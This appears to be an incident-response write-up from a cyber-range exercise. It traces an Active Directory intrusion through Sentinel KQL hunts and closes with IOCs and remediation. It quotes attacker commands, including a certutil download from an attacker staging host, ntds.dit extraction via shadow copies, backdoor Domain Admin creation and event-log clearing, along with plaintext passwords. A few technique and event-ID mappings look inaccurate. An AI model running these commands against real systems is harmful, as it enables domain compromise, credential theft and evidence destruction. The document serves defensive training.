THREAT HUNT REPORT

EMBERFORGE: SOURCE LEAK

Active Directory Attack Investigation

IR-2026-0131-EF · SEVERITY: CRITICAL · 31 JANUARY 2026

INCIDENT ID	SEVERITY	DATE
IR-2026-0131-EF	CRITICAL	31 January 2026

Prepared by: Threat Intelligence & Incident Response Team

Platform: Microsoft Sentinel · Workspace: law-cyber-range · Table: EmberForgeX_CL

TLP:AMBER — For authorised recipients only.

EXECUTIVE SUMMARY

On 30 January 2026, between 21:00 and 00:00 UTC, a sophisticated threat actor conducted a targeted intrusion against EmberForge Studios. The attack resulted in the confirmed theft and exfiltration of unreleased source code for 'Neon Shadows,' which subsequently appeared on underground forums. This report documents the complete attack chain from initial access through exfiltration and anti-forensics, supported by forensic evidence derived from Sysmon and Windows Security telemetry ingested into Microsoft Sentinel (table: **`EmberForgeX_CL`**).

Trigger: Unreleased game source code for 'Neon Shadows' appeared on underground forums. An external threat intelligence feed flagged the leak within 48 hours. Concurrently, Lead Artist Lisa Martin reported anomalous workstation behaviour after opening a file from her desktop, establishing the initial pivot point for the investigation.

CRITICAL FINDINGS

- Full domain compromise confirmed — ntds.dit extracted
- Backdoor account created: svc_backup (Domain Admins)
- All Active Directory credentials must be considered compromised
- Credentials exposed in plaintext: EmberForge2024!, P@ssw0rd123!
- Security and System event logs cleared on DC
- Scheduled task persistence: WindowsUpdate
- Remote access tool installed: AnyDesk (unattended)
- Source code exfiltrated to MEGA via rclone

SCOPE AT A GLANCE

Hosts Compromised: `3 (WKS, SRV, DC)`

Patient Zero: `lmartin (Lisa Martin)`

Initial Vector: `ISO → rundll32.exe → review.dll`

Attacker Attribution: `jwilson.vhr@proton.me`

Exfil Destination: `MEGA (66.203.125.15)`

AD DB Extracted: `YES — ntds.dit`

Logs Cleared: `Security, System (DC only)`

Investigation Window: `21:00–00:00 UTC, 30 Jan 2026`

Evidence Limitation: Security and System event logs on the Domain Controller (EC2AMAZ-EEU3IA2) were deliberately cleared using **`wevtutil cl Security`** and **`wevtutil cl System`**. Authentication events on the DC are not available in traditional Windows logs. However, Sysmon process creation telemetry was not cleared and provides sufficient forensic evidence to reconstruct the complete attack chain with high confidence.

ENVIRONMENT & SCOPE

HOST	HOSTNAME	IP	ROLE
WKS.145	EC2AMAZ-B9GHHO6	10.1.173.145	Workstation — Patient Zero (lmartin)
SRV.66	EC2AMAZ-16V3AU4	10.1.57.66	Server — Lateral movement target
DC.76	EC2AMAZ-EEU3IA2	10.1.160.76	Domain Controller — AD database stolen

ATTACK TIMELINE

TIME (UTC)	PHASE	ACTION
23:19	Initial Recon	First command on DC: whoami executed via Impacket wrapper
21:00	Initial Access	Lisa Martin opens ISO from desktop. explorer.exe > rundll32.exe > review.dll (D: drive)
21:00	Execution	review.dll drops update.exe to C:\Users\Public\. C2 beacon to cdn.cloud-endpoint.net (104.21.30.237)
21:00	Defense Evasion	Process injection: rundll32.exe > notepad.exe via CreateRemoteThread (Sysmon EID 8)
21:41	Privilege Escalation	fodhelper.exe UAC bypass via DelegateExecute. Injected into spoolsv.exe (SYSTEM)
21:48	Credential Access	update.exe dumps lsass.exe → C:\Windows\System32\lsass.dmp
21:50	Discovery	net user /domain · net group "Domain Admins" /domain · nltest /dclist:emberforge.local
22:52	Lateral Prep	SMB firewall rule 'SMB' added. Tools share created on workstation. NTLM auth failures to server.
22:54	Lateral Movement	update.exe copied to SRV via C$. Remote exec via pGJLIKnC service (Impacket smbexec)
22:59	Tool Staging	certutil.exe downloads AnyDesk from http://sync.cloud-endpoint.net:8080/AnyDesk.exe
23:19	DC — Arrival	Same Impacket wrapper deployed to DC. First command: whoami
23:34	DC — AD Extraction	vssadmin list/create shadow. ntds.dit copied via VSS path to C:\Windows\Temp\nyMdRNSp.tmp
23:38	DC — Backdoor	svc_backup account created. Added to Domain Admins. Password: P@ssw0rd123!

23:43	**DC — Tool Staging**	net use Z: maps workstation share. update.exe copied. WindowsUpdate scheduled task created.
23:47	**Collection/Exfil**	Compress-Archive stages C:\GameDev. rclone exfiltrates to MEGA (66.203.125.15)
23:50	**Anti-Forensics**	wevtutil cl Security · wevtutil cl System — DC event logs destroyed

PHASE-BY-PHASE INVESTIGATION

PHASE 01 — INITIAL ACCESS

Q10–Q14	ISO Delivery, DLL Execution & Execution Chain	TA0001 / T1566 / T1218

FINDING	VALUE
Malicious File	`review.dll`
Delivery Vector	**`D: (Mounted ISO disk image — SmartScreen bypass)`**
Compromised User	`lmartin (EMBERFORGE\lmartin)`
Execution Chain	`explorer.exe > rundll32.exe > review.dll`
Delivery Unpacking	`7zG.exe > C:\Users\lmartin.EMBERFORGE\Downloads\EmberForge_Review\`

ANALYST REASONING & HUNT METHODOLOGY

Starting from the CISO's brief — 'Lisa reported her workstation behaving strangely after opening something from her desktop' — I focused Sysmon EID 1 (Process Creation) queries on WKS.145 around the reported timeframe. The investigation methodology was to trace backwards from the malicious artefact to its origin.

The immediate red flag was rundll32.exe loading a DLL from a non-system path. rundll32.exe is a native Windows binary routinely abused for DLL proxy execution — it provides a signed, trusted executable wrapper around arbitrary code. The parent process was explorer.exe, confirming a user directly double-clicked the delivery mechanism.

The D: drive letter was the critical indicator. Files executed from mounted virtual drives (ISO/IMG) bypass the Mark-of-the-Web (MotW) SmartScreen protections that apply to files downloaded from the internet. This is a deliberate, well-documented defence evasion technique that has been widely adopted since the deprecation of macro-based Office payloads.

The 7zG.exe event confirmed the ISO contained an archive (EmberForge_Review) that was extracted by the user before execution — a double-layer delivery technique designed to appear like a legitimate file package sent for review. The name 'EmberForge_Review' demonstrates prior reconnaissance: the attacker knew Lisa's role as Lead Artist and crafted a lure specific to her workflow.

```
KQL — Microsoft Sentinel

EmberForgeX_CL
| where Computer contains "B9GHHO6"
```

```
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00) .. datetime(2026-01-31 00:00))
| where TaskCategory_s == "Process Creation"
| where Image_s contains "rundll32" or CommandLine_s contains "review.dll"
| project UtcTime_s, Image_s, CommandLine_s, parent_process_name_s
| sort by todatetime(UtcTime_s) asc
```

Attacker Mindset: This was not opportunistic. The ISO lure was purpose-built for a specific individual with a specific job title. The attacker researched the target, crafted a contextually appropriate delivery vehicle, and chose a delivery format (ISO) that bypasses the primary endpoint protection mechanism (SmartScreen). This level of targeting is consistent with a motivated threat actor who had prior intelligence about the environment.

ATT&CK: Initial Access → Phishing: Spearphishing Attachment `T1566.001`

ATT&CK: Execution → System Binary Proxy Execution: Rundll32 `T1218.011`

ATT&CK: Defense Evasion → Subvert Trust Controls: Mark-of-the-Web Bypass `T1553.005`

PHASE 02 — EXECUTION & COMMAND AND CONTROL

Q15–Q18	Payload Drop, C2 Beacon & Process Injection	TA0002 / TA0011 / T1055

FINDING	VALUE
Dropped Payload	`C:\Users\Public\update.exe`
C2 Domain	`cdn.cloud-endpoint.net`
Primary C2 IP	`104.21.30.237`
Injection Chain	**`rundll32.exe > notepad.exe (CreateRemoteThread)`**

ANALYST REASONING & HUNT METHODOLOGY

With the initial DLL execution confirmed, I pivoted to understanding the post-exploitation footprint. The primary questions were: what persists after review.dll runs, what is it communicating with, and how does it hide?

Sysmon EID 11 (File Created) filtered for the timeframe and process ancestry led directly to C:\Users\Public\update.exe. The Public directory is world-writable and executable by all users — a classic attacker staging location. The filename 'update.exe' was selected for defensive noise: it blends with Windows update processes in process listings and is frequently overlooked in triage.

C2 identification used Sysmon EID 22 (DNS Query) filtered by process image. The domain cdn.cloud-endpoint.net was engineered to resemble CDN infrastructure — a deliberate

mimicry of legitimate cloud traffic patterns designed to avoid proxy-based alerting. Parsing the Raw_s XML field (mv-expand on EventData.Data) yielded the resolved IP: 104.21.30.237.

Process injection discovery relied on Sysmon EID 8 (CreateRemoteThread). rundll32.exe injecting into notepad.exe is a foundational process injection technique — the goal is to migrate the implant into a process that appears entirely benign to both analysts and security tooling. The attacker's beacon now operated from inside a process that any analyst's first instinct would be to dismiss.

```
KQL — Microsoft Sentinel

EmberForgeX_CL
| where EventID_s == 22
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00) .. datetime(2026-
01-31 00:00))
| extend x = parse_xml(Raw_s)
| mv-expand d = x.Event.EventData.Data
| extend Name = tostring(d["@Name"]), Value = tostring(d["#text"])
| summarize QueryName = anyif(Value, Name == "QueryName"),
    QueryResults = anyif(Value, Name == "QueryResults")
  by UtcTime_s, Computer, Image_s
| project UtcTime_s, Computer, QueryName, QueryResults
```

Attacker Mindset: C2 infrastructure was deliberately designed to blend with legitimate cloud traffic. The CDN-themed domain name exploits the cognitive bias of analysts and automated tools to dismiss traffic to recognisable domain patterns. Process injection into notepad.exe is the attacker building operational stability — they are not improvising, they are executing a practiced playbook.

ATT&CK: Command and Control → Application Layer Protocol: Web Protocols `T1071.001`

ATT&CK: Defense Evasion → Process Injection: Remote Thread Injection `T1055.003`

ATT&CK: Persistence → Create or Modify System Process `T1543`

PHASE 03 — PRIVILEGE ESCALATION & CREDENTIAL DUMPING

Q19–Q23	UAC Bypass, SYSTEM Access & LSASS Dump	TA0004 / T1548 / T1003

FINDING	VALUE
UAC Bypass Binary	`fodhelper.exe`
Registry Bypass Key	**`DelegateExecute (HKCU\Software\Classes\ms-settings\shell\open\command)`**
Post-Escalation Parent	`update.exe > spoolsv.exe (NT AUTHORITY\SYSTEM)`
Credential Dump Process	`update.exe`
Dump Location	`C:\Windows\System32\lsass.dmp`

ANALYST REASONING & HUNT METHODOLOGY

With a foothold confirmed, I traced the escalation path. The CISO needed to know which accounts were compromised — this required determining whether credentials were extracted and from which privilege level.

Registry-based UAC bypass hunting used Sysmon EID 13 (Registry Value Set) filtered for fodhelper.exe-related keys. fodhelper.exe is a trusted Windows binary that auto-elevates without a UAC prompt. Attackers modify its registry shell handler (DelegateExecute key) so that when fodhelper runs, it executes attacker-controlled commands at elevated integrity level — without presenting any UAC dialog to the user.

Confirming SYSTEM-level access required tracing Sysmon EID 8 from update.exe targeting spoolsv.exe. The Print Spooler service (spoolsv.exe) runs as NT AUTHORITY\SYSTEM. By injecting code into it, the attacker inherited full SYSTEM privileges — the highest local privilege level, bypassing all user-context restrictions.

LSASS dump detection used Sysmon EID 11 filtered for .dmp file extensions. C:\Windows\System32\lsass.dmp is the memory dump of the Local Security Authority Subsystem — the process that holds all cached credentials for every account that has authenticated to this machine. This single file contains NTLM hashes, potentially Kerberos tickets, and potentially cleartext credentials depending on the Windows version and WDigest configuration.

KQL — Microsoft Sentinel

```
EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00) .. datetime(2026-01-31 00:00))
| where EventID_s == 11
| where TargetFilename_s contains ".dmp"
| project UtcTime_s, Computer, Image_s, TargetFilename_s, User_s
| sort by todatetime(UtcTime_s) asc
```

Attacker Mindset: The fodhelper.exe bypass requires no external tools and operates entirely through registry manipulation — it leaves minimal artefacts and generates no UAC prompt. The pivot to spoolsv.exe is methodical: the attacker is not just running commands, they are building a stable, persistent, high-privilege operational environment. The LSASS dump is the crown jewel — with those hashes, every account in the environment is a lateral movement opportunity.

ATT&CK: Privilege Escalation → Abuse Elevation Control Mechanism: Bypass UAC `T1548.002`

ATT&CK: Defense Evasion → Process Injection `T1055`

ATT&CK: Credential Access → OS Credential Dumping: LSASS Memory `T1003.001`

PHASE 04 — DOMAIN DISCOVERY & ENUMERATION

Q24–Q26	User Enumeration, Privilege Mapping & DC Identification	TA0007 / T1087 / T1482

FINDING	VALUE
User Enumeration	`net user /domain`
Privilege Enumeration	`net group "Domain Admins" /domain`
Infrastructure Mapping	`nltest /dclist:emberforge.local`

ANALYST REASONING & HUNT METHODOLOGY

Post-escalation discovery is predictable for any competent threat actor. I queried CommandLine_s for net user, net group, and nltest within the investigation window. The discovery sequence was fast, deliberate, and minimal — three commands covering the exact data needed to plan the next phase.

The sequence follows Active Directory attack methodology: enumerate all domain accounts (net user /domain), identify privileged group membership (net group 'Domain Admins' /domain), then locate the domain controller (nltest /dclist:emberforge.local). This is not reconnaissance — this is a practised operator executing a known playbook with minimum noise.

The dclist query confirmed the attacker identified EC2AMAZ-EEU3IA2 as the Domain Controller before moving laterally to it. Their subsequent targeting of that specific host was not exploratory; it was deliberate.

Additional checks performed: I queried for Kerberoasting activity (SPN enumeration patterns, LDAP queries for servicePrincipalName attributes), AS-REP roasting (accounts without pre-authentication required), and DCSync patterns (EID 4662 with replication GUIDs). No direct evidence of these techniques was found in the available telemetry — though the DC log clearing may have obscured authentication-level events.

```
KQL — Microsoft Sentinel

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00) .. datetime(2026-01-31 00:00))
| where CommandLine_s contains "net user" or CommandLine_s contains "net group"
    or CommandLine_s contains "nltest"
| project UtcTime_s, Computer, Image_s, CommandLine_s
| sort by todatetime(UtcTime_s) asc
```

Attacker Mindset: Three commands. No scanning, no noisy enumeration, no BloodHound — just native Windows utilities querying exactly what the attacker needed to know. This is the signature of an operator who understands Active Directory deeply and avoids generating detection events from network-based enumeration tools.

ATT&CK: Discovery → Account Discovery: Domain Account `T1087.002`

ATT&CK: Discovery → Domain Trust Discovery `T1482`

ATT&CK: Discovery → Remote System Discovery `T1018`

PHASE 05 — LATERAL MOVEMENT

Q27–Q34	Staging, Server Compromise & DC Penetration	TA0008 / T1021 / T1569

FINDING	VALUE
Tool Staging Share	`cmd.exe /c "net share tools=C:\Users\Public /grant:everyone,full"`
Firewall Rule Added	**`Rule name: SMB (inbound SMB access enabled)`**
Post-Escalation Parent	`spoolsv.exe (all lateral movement commands ran as SYSTEM)`
Beacon Distribution	`cmd.exe /c copy C:\Users\Public\update.exe \\10.1.57.66\C$\Users\Public\update.exe`
LOLBin Tool Staging	`certutil.exe > http://sync.cloud-endpoint.net:8080/AnyDesk.exe`
Remote Exec Service	`pGJLIKnC (Sysmon EID 7045 — Impacket smbexec signature)`
First Command on Server	`whoami (execution confirmation via output redirect pattern)`
Failed Auth Method	`NTLM (repeated EID 4625 failures from 10.1.173.145)`

ANALYST REASONING & HUNT METHODOLOGY

Lateral movement investigation required simultaneous analysis of both source (WKS.145) and destination (SRV.66) hosts. The workstation's Sysmon logs showed the outbound activity; the server's logs showed the inbound execution.

All post-escalation commands on the workstation ran as children of spoolsv.exe — confirming the SYSTEM-level injection was stable and operational. The share creation (net share tools=C:\Users\Public) and firewall rule addition (netsh advfirewall) were executed from this context.

The EID 4625 failures on the server are a crucial pivot point: the attacker's initial lateral movement via NTLM authentication failed repeatedly. This could indicate NTLM restrictions, password mismatches before credential harvest, or targeted account lockout. The attacker adapted — after obtaining credentials from the LSASS dump, they succeeded.

The Impacket signature — service name pGJLIKnC — is the forensic fingerprint of smbexec.py. The tool creates a temporary Windows service with a randomly generated name, executes a command via that service, redirects output to a temporary file, reads the output, then deletes both the service and the temp file. This pattern is visible in EID 7045 (Service Installed) in Raw_s.

certutil.exe downloading AnyDesk from the attacker's staging server is Living-off-the-Land Binary (LOLBin) abuse at its most effective — certutil is a native, Microsoft-signed Windows

binary, frequently permitted through proxy controls that would block curl or wget. The domain sync.cloud-endpoint.net mirrors the C2 domain naming convention.

```
KQL — Microsoft Sentinel

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00) .. datetime(2026-01-31 00:00))
| where Raw_s contains "7045" or Raw_s contains "ServiceName"
| parse Raw_s with * "ServiceName'>" ServiceName "<" *
| where isnotempty(ServiceName)
| project UtcTime_s, Computer, ServiceName, Raw_s
| sort by todatetime(UtcTime_s) asc
```

Attacker Mindset: The lateral movement methodology was adaptive — when NTLM failed, the attacker waited until credentials were available. The use of Impacket's smbexec pattern demonstrates familiarity with established offensive frameworks. The LOLBin download via certutil is deliberate operational security: why introduce a custom download tool when a signed Windows binary does the same job and generates far less suspicion?

ATT&CK: Lateral Movement → Remote Services: SMB/Windows Admin Shares `T1021.002`

ATT&CK: Execution → System Services: Service Execution `T1569.002`

ATT&CK: Command and Control → Ingress Tool Transfer `T1105`

ATT&CK: Defense Evasion → LOLBin: certutil `T1197`

PHASE 06 — DOMAIN CONTROLLER COMPROMISE

Q35–Q39	ntds.dit Extraction, Backdoor Account & Credential Exposure	TA0006 / T1003.003 / T1098

FINDING	VALUE
First Command on DC	**whoami (23:19:21 UTC — execution confirmation)**
VSS Recon	`vssadmin list shadows /for=C:`
Shadow Copy Created	`vssadmin create shadow /For=C:`
NTDS Extraction Path	`\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit`

Staging Location	`C:\Windows\Temp\nyMdRNSp.tmp`
Shadow Deleted (cleanup)	`vssadmin delete shadows /shadow={0ed56514...} /Quiet`
Backdoor Account	`svc_backup`
Backdoor Password	`P@ssw0rd123! (captured in plaintext — Sysmon EID 1)`
Privilege Assignment	`Domain Admins`
Exposed Credential	**`EmberForge2024! (net use command, plaintext in logs)`**

ANALYST REASONING & HUNT METHODOLOGY

This phase answers the question the CISO most feared: 'Tell me they did not reach the Domain Controller.' The evidence is unambiguous — they did, and they extracted the Active Directory database.

The same Impacket execute.bat wrapper used on the server was deployed against the DC. Parsing the wrapper required unwrapping three layers: the outer cmd.exe /Q /c invocation, the execute.bat intermediate, and the actual payload command embedded in the echo statement. Replacing HTML entities (>) with literal characters revealed the true command sequence.

The critical analytical distinction: the first command run on the DC was whoami at 23:19:21 UTC — not the vssadmin commands, which came at 23:34. The question asked for the first attacker command on the DC, not the first command targeting the AD database. whoami is universally the first execution confirmation in any remote execution scenario.

The NTDS.dit extraction methodology is entirely native: Volume Shadow Copy creates a point-in-time snapshot of the C: volume. The VSS path (\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\...) bypasses the Active Directory file lock that prevents direct copying of ntds.dit while the DC is running. No external tools required — vssadmin is built into Windows Server.

The backdoor account svc_backup was named to blend with legitimate service account naming conventions. The password P@ssw0rd123! was logged in cleartext by Sysmon EID 1 (process command line logging) — a catastrophic OPSEC failure, but forensically valuable. The subsequent net use command also exposed EmberForge2024!, confirming a legitimate administrator credential was in use.

Checks performed for additional credential theft: DCSync (EID 4662 with replication GUIDs {1131f6ad} or {1131f6aa}) — log clearing makes definitive confirmation unavailable. However, with ntds.dit in hand, DCSync provides no additional capability — the attacker already has every credential hash offline.

KQL — Microsoft Sentinel

```
// Parse actual commands from the Impacket wrapper on the DC
EmberForgeX_CL
| where Computer == "EC2AMAZ-EEU3IA2.emberforge.local"
| where todatetime(UtcTime_s) between (datetime(2026-01-30 23:19:00) ..
datetime(2026-01-30 23:40:00))
| where TaskCategory_s == "Devices" and parent_process_name_s == "services.exe"
| extend CL = replace_string(tostring(CommandLine_s), "&gt;", ">")
| extend inner = extract(@"echo (.+?) \^>", 1, CL)
| where isnotempty(inner)
| project UtcTime_s, inner
| sort by todatetime(UtcTime_s) asc
```

Attacker Mindset: The VSS extraction technique is methodical and clean — native binaries only, no external tooling, the shadow copy is deleted after extraction to reduce evidence, and the output file uses a random temporary filename. The attacker treated the DC like any other target: execute, extract, persist, clean up. The account naming (svc_backup) shows awareness of what service account names look like in the wild — this is an operator who has compromised AD environments before.

ATT&CK: Credential Access → OS Credential Dumping: NTDS `T1003.003`

ATT&CK: Persistence → Account Manipulation `T1098`

ATT&CK: Persistence → Account Creation `T1136.002`

ATT&CK: Defense Evasion → Indicator Removal on Host `T1070`

PHASE 07 — COLLECTION & EXFILTRATION

Q01–Q09	Data Staging, Archiving & Cloud Exfiltration	TA0009 / T1560 / T1567

FINDING	VALUE
Target Directory	`C:\GameDev (unreleased 'Neon Shadows' source code)`
Archive Method	**`Compress-Archive (PowerShell native — no external tools)`**
Exfil Tool	`rclone.exe (legitimate cloud sync utility)`
Exfil Destination	`MEGA (cloud storage provider)`
Attacker Email	`jwilson.vhr@proton.me`
Attacker Password	`Summer2024! (rclone config — plaintext)`
Exfil IP	`66.203.125.15 (MEGA upload endpoint)`
Staging Relay	`sync.cloud-endpoint.net`

ANALYST REASONING & HUNT METHODOLOGY

The investigation began at the exfiltration end and worked backwards — confirmed data on underground forums established the objective. C:\GameDev as the target directory was identified through rclone configuration analysis and Sysmon file access events.

Compress-Archive is PowerShell's native archiving cmdlet, shipping with all modern Windows installations. Using it instead of 7-Zip or WinRAR eliminates a known IOC (presence of compression utilities) and keeps the toolset minimal. The archive was staged locally before exfiltration.

rclone is a legitimate, open-source cloud synchronisation tool widely used in enterprise environments. Its traffic is indistinguishable from normal cloud sync at the network level — MEGA's endpoints are shared with legitimate users. Most DLP solutions will not flag rclone traffic unless specifically configured for it. The rclone configuration file contained the attacker's MEGA credentials in plaintext: jwilson.vhr@proton.me / Summer2024!.

Sysmon EID 3 (Network Connection) from rclone.exe to 66.203.125.15 confirmed active exfiltration. The staging relay (sync.cloud-endpoint.net) mirrors the C2 domain naming convention, suggesting the attacker controls both domains under a unified infrastructure.

Attacker attribution note: jwilson.vhr@proton.me provides a potential threat actor identifier. The 'jwilson' username pattern should be cross-referenced with threat intelligence platforms (MISP, OpenCTI, VirusTotal Graph) for campaign correlation. Proton Mail accounts are privacy-by-design but the username may appear in other incidents.

KQL — Microsoft Sentinel

```
EmberForgeX_CL
```

```
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00) .. datetime(2026-01-31 00:00))
| where tostring(Image_s) has "rclone.exe"
| where EventID_s == 3
| project UtcTime_s, Computer, Image_s, DestinationIp_s, DestinationPort_s, CommandLine_s
| sort by todatetime(UtcTime_s) asc
```

Attacker Mindset: Every tool choice in the exfiltration phase was optimised for stealth and deniability. Compress-Archive (native), rclone (legitimate software), MEGA (legitimate platform) — none of these individually trigger security alerts. The attacker's OPSEC failure was storing credentials in the rclone config file in cleartext. This is an operational mistake that provides both attribution and a recoverable forensic artefact.

ATT&CK: Collection → Archive Collected Data: Archive via Utility `T1560.001`

ATT&CK: Exfiltration → Exfiltration to Cloud Storage `T1567.002`

ATT&CK: Command and Control → Web Service `T1102`

PHASE 08 — PERSISTENCE & ANTI-FORENSICS

Q40–Q44	Scheduled Task, AnyDesk & Event Log Clearing	TA0003 / T1053 / T1070

FINDING	VALUE
Scheduled Task	**WindowsUpdate → C:\Users\Public\update.exe (trigger: onstart, /ru system)**
Remote Access Tool	AnyDesk (silent install, unattended access configured)
AnyDesk Config Path	C:\ProgramData\AnyDesk\system.conf
Anti-Forensics Tool	wevtutil.exe
Logs Cleared (DC)	Security, System

ANALYST REASONING & HUNT METHODOLOGY

Persistence and anti-forensics documentation addressed the CISO's direct question: 'If we rebuild these machines and reset every password, are we confident they cannot get back in?' The answer, based on evidence, is: not yet.

The scheduled task 'WindowsUpdate' was discovered via Sysmon EID 1 filtered for schtasks.exe /create. The name WindowsUpdate is chosen to blend with legitimate Windows maintenance tasks in task scheduler views — an analyst doing a quick review would likely

skip it. The /sc onstart trigger ensures re-execution on every boot, and /ru system means it runs at SYSTEM privilege.

AnyDesk provides a secondary, independent access vector that survives C2 infrastructure takedown. The configuration modification (system.conf) enables unattended access — bypassing the normal AnyDesk user-approval dialog. This means the attacker has a legitimate, commercially signed, remote desktop session available regardless of whether the malware is running.

The event log clearing on the DC was surgical: Security and System logs only. These contain authentication events (EID 4624/4625), account creation (EID 4720), group modification (EID 4728), and privilege use. The attacker targeted exactly the logs that would reconstruct their DC activity.

Critically: the attacker did not clear Sysmon logs (Microsoft-Windows-Sysmon/Operational). This was either an oversight or a deliberate risk assessment (Sysmon is less commonly enabled than standard Windows logging). This channel provided the complete forensic reconstruction of the DC attack chain.

Additional persistence checks conducted: WMI event subscriptions (no evidence in available telemetry), Registry Run keys (no evidence), Startup folder modifications (no evidence), additional services on other hosts (pGJLIKnC was transient and self-deleted). The primary persistence mechanisms are WindowsUpdate task and AnyDesk.

KQL — Microsoft Sentinel

```
EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00) .. datetime(2026-01-31 00:00))
| where CommandLine_s contains "schtasks" and CommandLine_s contains "/create"
| project UtcTime_s, Computer, CommandLine_s
| union (
    EmberForgeX_CL
    | where CommandLine_s contains "wevtutil" and CommandLine_s contains " cl "
    | project UtcTime_s, Computer, CommandLine_s
)
| sort by todatetime(UtcTime_s) asc
```

Attacker Mindset: AnyDesk as a secondary access channel is sophisticated post-exploitation thinking. It is a signed, legitimate application that endpoint tools will not flag, and it provides GUI remote desktop access independent of any C2 beacon. The targeted log clearing shows awareness of forensic investigation methodology — target the logs that tell the story of domain compromise, leave the Sysmon channel (less commonly monitored). This is an operator who has been investigated before and adapted.

ATT&CK: Persistence → Scheduled Task/Job: Scheduled Task `T1053.005`

ATT&CK: Persistence → Remote Access Software `T1219`

ATT&CK: Defense Evasion → Indicator Removal: Clear Windows Event Logs `T1070.001`

CONTAINMENT & REMEDIATION

Immediate Actions (0–24 Hours)

1. Isolate all three compromised hosts (WKS.145, SRV.66, DC.76) from the network immediately to prevent further lateral movement or data exfiltration.
2. Reset ALL Active Directory account passwords — ntds.dit extraction means every domain credential must be treated as compromised, including all service accounts.
3. Disable and delete the svc_backup backdoor account immediately.
4. Remove the WindowsUpdate scheduled task from all affected hosts.
5. Uninstall AnyDesk and revoke any unattended access configurations on all hosts.
6. Block all identified IOCs at perimeter: 104.21.30.237, 66.203.125.15, cdn.cloud-endpoint.net, sync.cloud-endpoint.net.
7. Rotate the krbtgt account password twice with a minimum 10-hour gap to invalidate all existing Kerberos tickets and prevent Golden Ticket attacks.

Short-Term Actions (24–72 Hours)

8. Conduct forensic acquisition of all three hosts before any remediation or rebuilding proceeds.
9. Rebuild all compromised systems from clean golden images — do not attempt in-place cleaning.
10. Audit all privileged group memberships (Domain Admins, Enterprise Admins, Schema Admins) for unauthorised accounts.
11. Review all scheduled tasks, services, and startup entries across all domain-joined systems.
12. Engage legal counsel for breach notification assessment — confirmed exfiltration of proprietary source code triggers notification obligations in most jurisdictions.
13. Cross-reference attacker email jwilson.vhr@proton.me with threat intelligence platforms (MISP, OpenCTI, Mandiant Advantage) for campaign correlation.
14. Submit rclone configuration artefacts and network IOCs to internal threat intelligence for future detection rule creation.

Strategic Security Improvements

15. Implement ISO/IMG mount restrictions via Group Policy to prevent users from mounting disk images without administrative approval — this directly addresses the initial access vector.
16. Deploy Windows Defender Credential Guard and LSA Protection (RunAsPPL) to prevent LSASS memory dumping.
17. Enable Protected Users security group for all privileged accounts to restrict NTLM, disable Kerberos delegation, and enforce Kerberos AES encryption.

18. Implement network segmentation: prevent direct workstation-to-DC SMB access; all administrative paths should go through a privileged access workstation (PAW).
19. Enforce AppLocker or Windows Defender Application Control (WDAC) policies to prevent execution from C:\Users\Public\, %TEMP%, and other world-writable directories.
20. Alert on certutil.exe making outbound HTTP/HTTPS connections — this is almost universally malicious in an enterprise environment.
21. Monitor for VSS shadow copy creation events outside defined backup windows — this is a reliable indicator of ntds.dit extraction attempts.
22. Implement Just-In-Time (JIT) privileged access management — eliminate standing Domain Admin account sessions.
23. Deploy deception technology (honeytoken Domain Admin credentials, fake admin shares) to detect lateral movement attempts earlier in the kill chain.
24. Establish a Sysmon baseline alert for CreateRemoteThread (EID 8) events involving unexpected source/target process pairs.

INDICATORS OF COMPROMISE

TYPE	INDICATOR	CONTEXT
Domain	`cdn.cloud-endpoint.net`	Primary C2 beacon domain
Domain	`sync.cloud-endpoint.net`	Tool staging & exfiltration relay
IP Address	`104.21.30.237`	Primary C2 resolved IP
IP Address	`66.203.125.15`	MEGA exfiltration endpoint
Email	`jwilson.vhr@proton.me`	Attacker MEGA account (attribution)
File Path	`C:\Users\Public\update.exe`	Primary implant (all compromised hosts)
File Path	`C:\Windows\System32\lsass.dmp`	LSASS credential dump
File Path	`C:\Windows\Temp\nyMdRNSp.tmp`	Stolen ntds.dit staging file
File Name	`review.dll`	Initial malicious DLL (ISO delivery)
Account	`svc_backup`	Backdoor domain account
Sched. Task	`WindowsUpdate`	Persistence mechanism
Service Name	`pGJLIKnC`	Impacket smbexec lateral movement
Tool	`rclone.exe`	Data exfiltration utility
Credential	`P@ssw0rd123!`	Backdoor account password (logged plaintext)
Credential	`EmberForge2024!`	Admin credential exposed in net use command
Credential	`Summer2024!`	Attacker rclone/MEGA password

URL	`http://sync.cloud-endpoint.net:8080/AnyDesk.exe`	AnyDesk download URL (certutil)

MITRE ATT&CK COVERAGE SUMMARY

TACTIC	TECHNIQUE	ID
Initial Access	Phishing: Spearphishing Attachment	`T1566.001`
Execution	System Binary Proxy Execution: Rundll32	`T1218.011`
Defense Evasion	Subvert Trust Controls: MotW Bypass (ISO)	`T1553.005`
Defense Evasion	Process Injection: Remote Thread Injection	`T1055.003`
Privilege Escalation	Abuse Elevation Control Mechanism: Bypass UAC	`T1548.002`
Defense Evasion	LOLBin Abuse: certutil	`T1197`
Defense Evasion	Indicator Removal: Clear Windows Event Logs	`T1070.001`
Credential Access	OS Credential Dumping: LSASS Memory	`T1003.001`
Credential Access	OS Credential Dumping: NTDS	`T1003.003`
Discovery	Account Discovery: Domain Account	`T1087.002`
Discovery	Domain Trust Discovery	`T1482`
Discovery	Remote System Discovery	`T1018`
Lateral Movement	Remote Services: SMB/Windows Admin Shares	`T1021.002`

Execution	System Services: Service Execution (Impacket)	`T1569.002`
Command and Control	Ingress Tool Transfer	`T1105`
Command and Control	Application Layer Protocol: Web Protocols	`T1071.001`
Collection	Archive Collected Data: Archive via Utility	`T1560.001`
Exfiltration	Exfiltration to Cloud Storage (MEGA)	`T1567.002`
Persistence	Scheduled Task/Job: Scheduled Task	`T1053.005`
Persistence	Remote Access Software: AnyDesk	`T1219`
Persistence	Account Manipulation: svc_backup	`T1098`

This document is intended for authorised recipients only. Do not distribute without prior approval.